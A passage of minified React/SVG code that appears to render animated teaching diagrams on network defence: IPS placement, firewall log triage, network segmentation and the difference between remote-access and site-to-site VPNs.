115)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`688`,height:`34`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`21`,fill:`#334155`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`IPS ACTION:`}),(0,k.jsx)(`text`,{x:`100`,y:`21`,fill:e>=3?`#059669`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:e>=3?`✓ Signature Matched: Malicious SQLi payload dropped immediately before reaching server. TCP RST sent to kill attacker socket.`:`Inline sensor scanning packets on the wire in real-time.`})]})]})]})}),$t=({currentStepIndex:e})=>{let t=e>=2,n=e>=5;return(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsx)(`line`,{x1:`60`,y1:`75`,x2:`680`,y2:`75`,stroke:`#cbd5e1`,strokeWidth:`3`,strokeDasharray:`4 4`}),(0,k.jsx)(M,{cx:60,cy:75,label:t?`ATTACKER`:`INTERNET`,ip:t?`198.51.100.99`:`WAN`,active:!0,danger:t}),(0,k.jsx)(F,{cx:200,cy:75,label:`EDGE ROUTER`,sub:`BGP / NAT`,active:!0}),(0,k.jsx)(N,{cx:340,cy:75,label:`PERIMETER FW`,sub:`L3/L4 State`,active:!0}),(0,k.jsxs)(`g`,{transform:`translate(490, 75)`,children:[(0,k.jsx)(`rect`,{x:`-35`,y:`-30`,width:`70`,height:`42`,rx:`6`,fill:`#0f172a`,stroke:n?`#ef4444`:`#10b981`,strokeWidth:2.5}),(0,k.jsx)(`text`,{x:`0`,y:`-10`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`8`,fontWeight:`bold`,children:`INLINE IPS`}),(0,k.jsx)(`text`,{x:`0`,y:`4`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:`DPI SENSOR`}),(0,k.jsx)(`text`,{x:`0`,y:`24`,textAnchor:`middle`,fontSize:`9.5`,fontWeight:`bold`,fill:`#0f172a`,children:`IPS SENSOR`}),(0,k.jsx)(`text`,{x:`0`,y:`36`,textAnchor:`middle`,fontSize:`7.5`,fontWeight:`bold`,fill:`#10b981`,fontFamily:`monospace`,children:`Behind Firewall`})]}),(0,k.jsx)(P,{cx:660,cy:75,label:`INTERNAL SERVER`,sub:`10.0.3.50:443`,active:!0,success:!n}),e>=1&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:95,y1:75,x2:165,y2:75,color:t?`#ef4444`:`#2563eb`}),(0,k.jsx)(A,{x1:235,y1:75,x2:305,y2:75,color:t?`#ef4444`:`#2563eb`}),(0,k.jsx)(A,{x1:375,y1:75,x2:450,y2:75,color:t?`#ef4444`:`#2563eb`}),n?(0,k.jsxs)(`g`,{transform:`translate(525, 75)`,children:[(0,k.jsx)(`line`,{x1:`15`,y1:`-25`,x2:`15`,y2:`25`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`}),(0,k.jsx)(`rect`,{x:`25`,y:`-12`,width:`85`,height:`24`,rx:`12`,fill:`#fef2f2`,stroke:`#ef4444`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`67`,y:`4`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`BLOCKED ✕`})]}):(0,k.jsx)(A,{x1:530,y1:75,x2:625,y2:75,color:`#10b981`,label:`CLEAN TRAFFIC`})]}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`SENSOR PLACEMENT ARCHITECTURE & INSPECTION WORKFLOW`}),(0,k.jsx)(`g`,{transform:`translate(16, 36)`,children:[{zone:`1. Behind Firewall (Best Practice)`,role:`Inspects clean, filtered traffic only; reduces sensor CPU load.`,badge:`Recommended`,color:`#10b981`},{zone:`2. Outside Perimeter Firewall`,role:`Catches raw attack volume before firewall, but overwhelmed by noise.`,badge:`Noisy`,color:`#f59e0b`},{zone:`3. Inside DMZ Subnet`,role:`Protects public web & mail servers against zero-day exploit payloads.`,badge:`Critical DMZ`,color:`#3b82f6`},{zone:`4. Core Internal Switch (SPAN)`,role:`Monitors lateral movement, malware spread, and insider threats.`,badge:`Internal Tap`,color:`#8b5cf6`}].map((e,t)=>(0,k.jsxs)(`g`,{transform:`translate(${t%2==0?0:340}, ${Math.floor(t/2)*44})`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`328`,height:`38`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`15`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,children:e.zone}),(0,k.jsx)(`text`,{x:`10`,y:`28`,fill:`#64748b`,fontSize:`7`,fontFamily:`monospace`,children:e.role}),(0,k.jsxs)(`g`,{transform:`translate(250, 6)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`70`,height:`14`,rx:`7`,fill:e.color}),(0,k.jsx)(`text`,{x:`35`,y:`10`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontWeight:`bold`,children:e.badge})]})]},e.zone))}),(0,k.jsxs)(`g`,{transform:`translate(16, 132)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`48`,rx:`6`,fill:`#eff6ff`,stroke:`#93c5fd`}),(0,k.jsx)(`text`,{x:`12`,y:`18`,fill:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`INSPECTION PIPELINE: PACKET → SIGNATURE SCAN / ANOMALY ENGINE → THREAT IDENTIFIED → ACTION (IDS: ALERT | IPS: BLOCK)`}),(0,k.jsx)(`text`,{x:`12`,y:`34`,fill:`#64748b`,fontSize:`7.5`,children:`Placing IPS directly behind the firewall ensures the firewall drops raw volumetric floods first, allowing IPS CPU to focus on deep Layer 7 payloads.`})]})]})]})},en=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=4,a=e>=5;return(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsx)(`line`,{x1:`90`,y1:`70`,x2:`650`,y2:`70`,stroke:`#cbd5e1`,strokeWidth:`3`,strokeDasharray:`4 4`}),e>=1&&(0,k.jsx)(A,{x1:130,y1:70,x2:330,y2:70,color:`#2563eb`,label:`SSH :22`}),t&&(0,k.jsxs)(`g`,{transform:`translate(370, 70)`,children:[(0,k.jsx)(`line`,{x1:`45`,y1:`-25`,x2:`45`,y2:`25`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`}),(0,k.jsx)(`rect`,{x:`55`,y:`-12`,width:`90`,height:`24`,rx:`12`,fill:`#fef2f2`,stroke:`#ef4444`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`100`,y:`4`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`BLOCKED ✕`})]}),(0,k.jsx)(M,{cx:90,cy:70,label:`CLIENT`,ip:`10.0.0.25`,active:!0}),(0,k.jsx)(N,{cx:370,cy:70,label:`FIREWALL`,sub:`Syslog Generator`,active:e>=1,danger:t}),(0,k.jsx)(P,{cx:650,cy:70,label:`SERVER`,sub:`203.0.113.50:22`,active:!0,danger:t}),e>=1&&(0,k.jsx)(j,{cx:370,cy:28,title:`SSH PACKET`,protocol:`TCP`,port:`22`,src:`10.0.0.25`,dst:`SERVER`,status:t?`DENY`:`INSPECT`,scale:.78}),(0,k.jsxs)(`g`,{transform:`translate(30, 130)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`200`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`SECURITY FORENSIC TRIAGE PIPELINE (LOG ANALYSIS & ROOT CAUSE)`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`52`,rx:`6`,fill:`#0f172a`,stroke:`#334155`}),(0,k.jsx)(`circle`,{cx:`14`,cy:`12`,r:`3`,fill:`#ef4444`}),(0,k.jsx)(`circle`,{cx:`24`,cy:`12`,r:`3`,fill:`#f59e0b`}),(0,k.jsx)(`circle`,{cx:`34`,cy:`12`,r:`3`,fill:`#10b981`}),(0,k.jsx)(`text`,{x:`50`,y:`15`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`/var/log/firewall/traffic.log (REAL-TIME EVENT STREAM)`}),n?(0,k.jsxs)(`g`,{transform:`translate(14, 34)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`0`,fill:`#94a3b8`,fontSize:`8`,fontFamily:`monospace`,children:`[14:22:01]`}),(0,k.jsx)(`text`,{x:`75`,y:`0`,fill:r?`#38bdf8`:`#cbd5e1`,fontSize:`8`,fontWeight:r?`bold`:`normal`,fontFamily:`monospace`,children:`SRC=10.0.0.25:49201`}),(0,k.jsx)(`text`,{x:`220`,y:`0`,fill:i?`#4ade80`:`#cbd5e1`,fontSize:`8`,fontWeight:i?`bold`:`normal`,fontFamily:`monospace`,children:`DST=203.0.113.50:22`}),(0,k.jsx)(`text`,{x:`375`,y:`0`,fill:a?`#fbbf24`:`#cbd5e1`,fontSize:`8`,fontWeight:a?`bold`:`normal`,fontFamily:`monospace`,children:`PROTO=TCP PORT=22`}),(0,k.jsx)(`text`,{x:`500`,y:`0`,fill:`#f87171`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ACTION=DENY RULE_ID=104`})]}):(0,k.jsx)(`text`,{x:`14`,y:`34`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:`Waiting for blocked event...`})]}),(0,k.jsx)(`g`,{transform:`translate(16, 100)`,children:[{num:`1`,title:`TRAFFIC`,sub:`Connection Attempt`,active:!0},{num:`2`,title:`BLOCK`,sub:`Firewall Policy Drop`,active:t},{num:`3`,title:`LOG`,sub:`Syslog 5-Tuple Generated`,active:n},{num:`4`,title:`RULE`,sub:`Matched Rule #104`,active:e>=6},{num:`5`,title:`REASON`,sub:`Unauthorized Subnet`,active:e>=7}].map((e,t)=>(0,k.jsxs)(`g`,{transform:`translate(${t*135}, 0)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`128`,height:`54`,rx:`6`,fill:e.active?t===4?`#ecfdf5`:`#eff6ff`:`#f8fafc`,stroke:e.active?t===4?`#10b981`:`#3b82f6`:`#cbd5e1`,strokeWidth:e.active?1.5:1}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`128`,height:`15`,rx:`5`,fill:e.active?t===4?`#10b981`:`#3b82f6`:`#cbd5e1`}),(0,k.jsxs)(`text`,{x:`64`,y:`11`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontWeight:`bold`,children:[`STEP `,e.num,`: `,e.title]}),(0,k.jsx)(`text`,{x:`64`,y:`32`,textAnchor:`middle`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:e.sub})]},e.num))}),(0,k.jsx)(`g`,{transform:`translate(16, 166)`,children:(0,k.jsx)(`text`,{x:`0`,y:`18`,fill:`#334155`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`DIAGNOSTIC RESOLUTION: Root cause identified via Rule #104. To permit legitimate administrative SSH, update ACL source scope.`})})]})]})},tn=({currentStepIndex:e})=>{let t=e===1,n=e===2,r=e===3,i=e===4;return(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(15, 15)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`165`,height:`185`,rx:`8`,fill:`#fef2f2`,stroke:`#fca5a5`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`165`,height:`24`,rx:`7`,fill:`#ef4444`}),(0,k.jsx)(`text`,{x:`82`,y:`16`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`8`,fontWeight:`bold`,children:`ZONE 1: UNTRUSTED WAN`}),(0,k.jsx)(M,{cx:82,cy:95,label:`INTERNET`,ip:`198.51.100.1`,active:!0,danger:n})]}),(0,k.jsxs)(`g`,{transform:`translate(195, 15)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`170`,height:`185`,rx:`8`,fill:`#eff6ff`,stroke:`#93c5fd`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`170`,height:`24`,rx:`7`,fill:`#3b82f6`}),(0,k.jsx)(`text`,{x:`85`,y:`16`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`8`,fontWeight:`bold`,children:`ZONE 2: DMZ (WEB PROXY)`}),(0,k.jsx)(P,{cx:85,cy:95,label:`DMZ NGINX`,sub:`172.16.1.10:443`,active:!0,danger:i})]}),(0,k.jsxs)(`g`,{transform:`translate(380, 15)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`170`,height:`185`,rx:`8`,fill:`#faf5ff`,stroke:`#d8b4fe`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`170`,height:`24`,rx:`7`,fill:`#8b5cf6`}),(0,k.jsx)(`text`,{x:`85`,y:`16`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`8`,fontWeight:`bold`,children:`ZONE 3: APP CLUSTER`}),(0,k.jsx)(P,{cx:85,cy:95,label:`APP LOGIC`,sub:`10.0.2.20:8080`,active:!0,success:r})]}),(0,k.jsxs)(`g`,{transform:`translate(565, 15)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`180`,height:`185`,rx:`8`,fill:`#ecfdf5`,stroke:`#86efac`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`180`,height:`24`,rx:`7`,fill:`#10b981`}),(0,k.jsx)(`text`,{x:`90`,y:`16`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`8`,fontWeight:`bold`,children:`ZONE 4: ISOLATED DB`}),(0,k.jsx)(P,{cx:90,cy:95,label:`DATABASE`,sub:`10.0.3.50 (VLAN 30)`,active:!0,success:!0})]}),(0,k.jsxs)(`g`,{transform:`translate(180, 110)`,children:[(0,k.jsx)(`circle`,{cx:`0`,cy:`0`,r:`14`,fill:`#0f172a`,stroke:`#2563eb`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`0`,y:`3.5`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7`,fontWeight:`bold`,children:`FW1`})]}),(0,k.jsxs)(`g`,{transform:`translate(372, 110)`,children:[(0,k.jsx)(`circle`,{cx:`0`,cy:`0`,r:`14`,fill:`#0f172a`,stroke:`#2563eb`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`0`,y:`3.5`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7`,fontWeight:`bold`,children:`FW2`})]}),(0,k.jsxs)(`g`,{transform:`translate(557, 110)`,children:[(0,k.jsx)(`circle`,{cx:`0`,cy:`0`,r:`14`,fill:`#0f172a`,stroke:`#2563eb`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`0`,y:`3.5`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7`,fontWeight:`bold`,children:`FW3`})]}),t&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:140,y1:110,x2:230,y2:110,color:`#3b82f6`,label:`HTTPS :443`}),(0,k.jsx)(A,{x1:330,y1:110,x2:415,y2:110,color:`#8b5cf6`,label:`API :8080`}),(0,k.jsx)(A,{x1:515,y1:110,x2:605,y2:110,color:`#10b981`,label:`SQL :5432`})]}),n&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(`path`,{d:`M 97 140 Q 375 20 655 140`,fill:`none`,stroke:`#ef4444`,strokeWidth:`3.5`,strokeDasharray:`6 4`}),(0,k.jsxs)(`g`,{transform:`translate(375, 45)`,children:[(0,k.jsx)(`rect`,{x:`-110`,y:`-12`,width:`220`,height:`24`,rx:`12`,fill:`#fef2f2`,stroke:`#ef4444`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:`0`,y:`4`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DIRECT ACCESS BLOCKED ✕ (NO ROUTE)`})]})]}),r&&(0,k.jsx)(A,{x1:515,y1:110,x2:605,y2:110,color:`#10b981`,label:`DB PORT 5432 ALLOWED ✓`}),i&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(`path`,{d:`M 280 140 Q 460 170 610 140`,fill:`none`,stroke:`#ef4444`,strokeWidth:`3.5`,strokeDasharray:`6 4`}),(0,k.jsxs)(`g`,{transform:`translate(460, 160)`,children:[(0,k.jsx)(`rect`,{x:`-120`,y:`-12`,width:`240`,height:`24`,rx:`12`,fill:`#fef2f2`,stroke:`#ef4444`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:`0`,y:`4`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`LATERAL PIVOT DROPPED ✕ (VLAN ACL)`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(15, 210)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`730`,height:`120`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`730`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`NETWORK SEGMENTATION & DEFENSE-IN-DEPTH SECURITY ARCHITECTURE`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`15`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`1. Blast Radius Containment:`}),(0,k.jsx)(`text`,{x:`175`,y:`15`,fill:`#475569`,fontSize:`8`,children:`If a public DMZ web server is compromised, strict inter-VLAN ACLs prevent attackers from pivoting directly into the database tier.`}),(0,k.jsx)(`text`,{x:`0`,y:`35`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`2. Least Privilege Boundaries:`}),(0,k.jsx)(`text`,{x:`175`,y:`35`,fill:`#475569`,fontSize:`8`,children:`Only the App tier (10.0.2.0/24) has an explicit rule allowing port 5432 to the database. All other subnets are implicitly dropped.`}),(0,k.jsx)(`text`,{x:`0`,y:`55`,fill:`#059669`,fontSize:`8.5`,fontWeight:`bold`,children:`3. Regulatory Compliance:`}),(0,k.jsx)(`text`,{x:`175`,y:`55`,fill:`#475569`,fontSize:`8`,children:`PCI-DSS and HIPAA mandate complete isolation of Cardholder / Patient Data Environments (CDE) from public-facing infrastructure.`})]})]})]})},nn=({currentStepIndex:e})=>(0,k.jsx)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:e>=4?(0,k.jsxs)(`g`,{transform:`translate(30, 20)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`300`,rx:`12`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`36`,rx:`11`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`24`,y:`23`,fill:`#ffffff`,fontSize:`12`,fontWeight:`bold`,children:`REMOTE-ACCESS VPN VS SITE-TO-SITE VPN: ARCHITECTURAL COMPARISON`}),(0,k.jsxs)(`g`,{transform:`translate(24, 52)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`230`,rx:`8`,fill:`#faf5ff`,stroke:`#c084fc`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`28`,rx:`7`,fill:`#8b5cf6`}),(0,k.jsx)(`text`,{x:`155`,y:`18`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`REMOTE-ACCESS VPN (CLIENT-TO-GATEWAY)`}),(0,k.jsxs)(`g`,{transform:`translate(20, 44)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`15`,fill:`#581c87`,fontSize:`8.5`,fontWeight:`bold`,children:`• Scope: Individual device → Corporate LAN`}),(0,k.jsx)(`text`,{x:`0`,y:`35`,fill:`#581c87`,fontSize:`8.5`,children:`• Client Software: Installed on laptop/phone (AnyConnect)`}),(0,k.jsx)(`text`,{x:`0`,y:`55`,fill:`#581c87`,fontSize:`8.5`,children:`• IP Addressing: Dynamic virtual IP assigned to adapter`}),(0,k.jsx)(`text`,{x:`0`,y:`75`,fill:`#581c87`,fontSize:`8.5`,children:`• Authentication: MFA / Single Sign-On / RADIUS`}),(0,k.jsx)(`text`,{x:`0`,y:`95`,fill:`#581c87`,fontSize:`8.5`,children:`• Protocols: OpenVPN, WireGuard, SSL/TLS, IKEv2`}),(0,k.jsx)(`text`,{x:`0`,y:`120`,fill:`#6b21a8`,fontSize:`8.5`,fontWeight:`bold`,children:`✓ Ideal for: Remote workers, traveling employees`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(366, 52)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`230`,rx:`8`,fill:`#eff6ff`,stroke:`#93c5fd`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`28`,rx:`7`,fill:`#2563eb`}),(0,k.jsx)(`text`,{x:`155`,y:`18`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`SITE-TO-SITE VPN (GATEWAY-TO-GATEWAY)`}),(0,k.jsxs)(`g`,{transform:`translate(20, 44)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`15`,fill:`#1e3a8a`,fontSize:`8.5`,fontWeight:`bold`,children:`• Scope: Entire Subnet A ↔ Entire Subnet B`}),(0,k.jsx)(`text`,{x:`0`,y:`35`,fill:`#1e3a8a`,fontSize:`8.5`,children:`• Client Software: NONE needed on end-user hosts`}),(0,k.jsx)(`text`,{x:`0`,y:`55`,fill:`#1e3a8a`,fontSize:`8.5`,children:`• IP Addressing: Native local subnet IPs retained`}),(0,k.jsx)(`text`,{x:`0`,y:`75`,fill:`#1e3a8a`,fontSize:`8.5`,children:`• Authentication: Pre-Shared Key (PSK) or X.509 Certs`}),(0,k.jsx)(`text`,{x:`0`,y:`95`,fill:`#1e3a8a`,fontSize:`8.5`,children:`• Protocols: IPsec ESP (Tunnel Mode), GRE over IPsec`}),(0,k.jsx)(`text`,{x:`0`,y:`120`,fill:`#1d4ed8`,fontSize:`8.5`,fontWeight:`bold`,children:`✓ Ideal for: Connecting Branch Offices to HQ Datacenter`})]})]})]}):(0,k.jsxs)(k.Fragment,{children:[(0,k.jsxs)(`g`,{transform:`translate(20, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`150`,rx:`8`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:1}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`24`,rx:`7`,fill:`#faf5ff`}),(0,k.jsx)(`text`,{x:`14`,y:`16`,fill:`#6b21a8`,fontSize:`9.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`PART A: REMOTE ACCESS VPN (INDIVIDUAL CLIENT-TO-GATEWAY SOFTWARE TUNNEL)`}),(0,k.jsx)(`line`,{x1:`70`,y1:`75`,x2:`650`,y2:`75`,stroke:`#e2e8f0`,strokeWidth:`2`,strokeDasharray:`3 3`}),(0,k.jsx)(M,{cx:70,cy:75,label:`Remote Worker`,ip:`Virtual: 10.50.0.12`,active:!0}),(0,k.jsxs)(`g`,{transform:`translate(250, 75)`,children:[(0,k.jsx)(`rect`,{x:`-115`,y:`-14`,width:`230`,height:`28`,rx:`6`,fill:`#f3e8ff`,stroke:`#a855f7`,strokeWidth:`2`,strokeDasharray:`5 3`}),(0,k.jsx)(`text`,{x:`0`,y:`4`,textAnchor:`middle`,fill:`#7e22ce`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`🔒 ENCRYPTED TLS / IPSEC TUNNEL`})]}),(0,k.jsx)(N,{cx:470,cy:75,label:`VPN Concentrator`,sub:`MFA / RADIUS`,active:!0,success:!0}),(0,k.jsx)(P,{cx:650,cy:75,label:`Corp Intranet`,sub:`10.2.0.80`,active:!0,success:!0}),e>=1&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:105,y1:75,x2:420,y2:75,color:`#8b5cf6`,label:`🔒 ENCRYPTED`}),(0,k.jsx)(A,{x1:510,y1:75,x2:615,y2:75,color:`#10b981`,label:`DECRYPTED`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(20, 170)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`160`,rx:`8`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:1}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`720`,height:`24`,rx:`7`,fill:`#eff6ff`}),(0,k.jsx)(`text`,{x:`14`,y:`16`,fill:`#1e40af`,fontSize:`9.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`PART B: SITE-TO-SITE VPN (PERMANENT GATEWAY-TO-GATEWAY SUBNET INTERCONNECT)`}),(0,k.jsx)(`line`,{x1:`70`,y1:`75`,x2:`650`,y2:`75`,stroke:`#e2e8f0`,strokeWidth:`2`,strokeDasharray:`3 3`}),(0,k.jsx)(M,{cx:70,cy:75,label:`Branch Host`,ip:`10.1.0.15`,active:!0}),(0,k.jsx)(N,{cx:230,cy:75,label:`Branch Gateway`,sub:`203.0.113.10`,active:!0,success:!0}),(0,k.jsxs)(`g`,{transform:`translate(360, 75)`,children:[(0,k.jsx)(`rect`,{x:`-80`,y:`-14`,width:`160`,height:`28`,rx:`6`,fill:`#dbeafe`,stroke:`#2563eb`,strokeWidth:`2`,strokeDasharray:`5 3`}),(0,k.jsx)(`text`,{x:`0`,y:`4`,textAnchor:`middle`,fill:`#1d4ed8`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`🔒 IPSEC ESP TUNNEL`})]}),(0,k.jsx)(N,{cx:490,cy:75,label:`HQ Gateway`,sub:`198.51.100.50`,active:!0,success:!0}),(0,k.jsx)(P,{cx:650,cy:75,label:`HQ Database`,sub:`10.2.0.80`,active:!0,success:!0}),e>=3&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:105,y1:75,x2:185,y2:75,color:`#2563eb`,label:`LAN (Plain)`}),(0,k.jsx)(A,{x1:275,y1:75,x2:445,y2:75,color:`#8b5cf6`,label:`🔒 IPsec ESP`}),(0,k.jsx)(A,{x1:535,y1:75,x2:615,y2:75,color:`#10b981`,label:`LAN (Plain)`})]})]})]})}),rn=({currentStepIndex:e})=>{let t=e>=2&&e<=5,n=e>=7,r=100;return e===0?r=140:e===1||e===2?r=240:e===3?r=330:e===4?r=400:e===5||e===6?r=540:e>=7&&(r=640),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsx)(`rect`,{x:`290`,y:`25`,width:`220`,height:`95`,rx:`8`,fill:`#fef2f2`,stroke:`#fca5a5`,strokeWidth:`1`,strokeDasharray:`4 4`}),(0,k.jsx)(`text`,{x:`400`,y:`42`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`UNTRUSTED PUBLIC INTERNET / WAN`}),(0,k.jsx)(`line`,{x1:`80`,y1:`80`,x2:`680`,y2:`80`,stroke:`#cbd5e1`,strokeWidth:`3`,strokeDasharray:`4 4`}),(0,k.jsx)(M,{cx:80,cy:80,label:`SITE A HOST`,ip:`10.1.0.10`,active:!0}),(0,k.jsx)(N,{cx:240,cy:80,label:`IPSEC GW A`,sub:`203.0.113.1`,active:!0,success:e>=2}),(0,k.jsxs)(`g`,{transform:`translate(400, 80)`,children:[(0,k.jsx)(`rect`,{x:`-85`,y:`-14`,width:`170`,height:`28`,rx:`6`,fill:`#f3e8ff`,stroke:`#a855f7`,strokeWidth:`2`,strokeDasharray:`5 3`}),(0,k.jsx)(`text`,{x:`0`,y:`4`,textAnchor:`middle`,fill:`#7e22ce`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`🔒 IPSEC ESP TUNNEL`})]}),(0,k.jsx)(N,{cx:560,cy:80,label:`IPSEC GW B`,sub:`198.51.100.1`,active:!0,success:e>=6}),(0,k.jsx)(P,{cx:680,cy:80,label:`SITE B 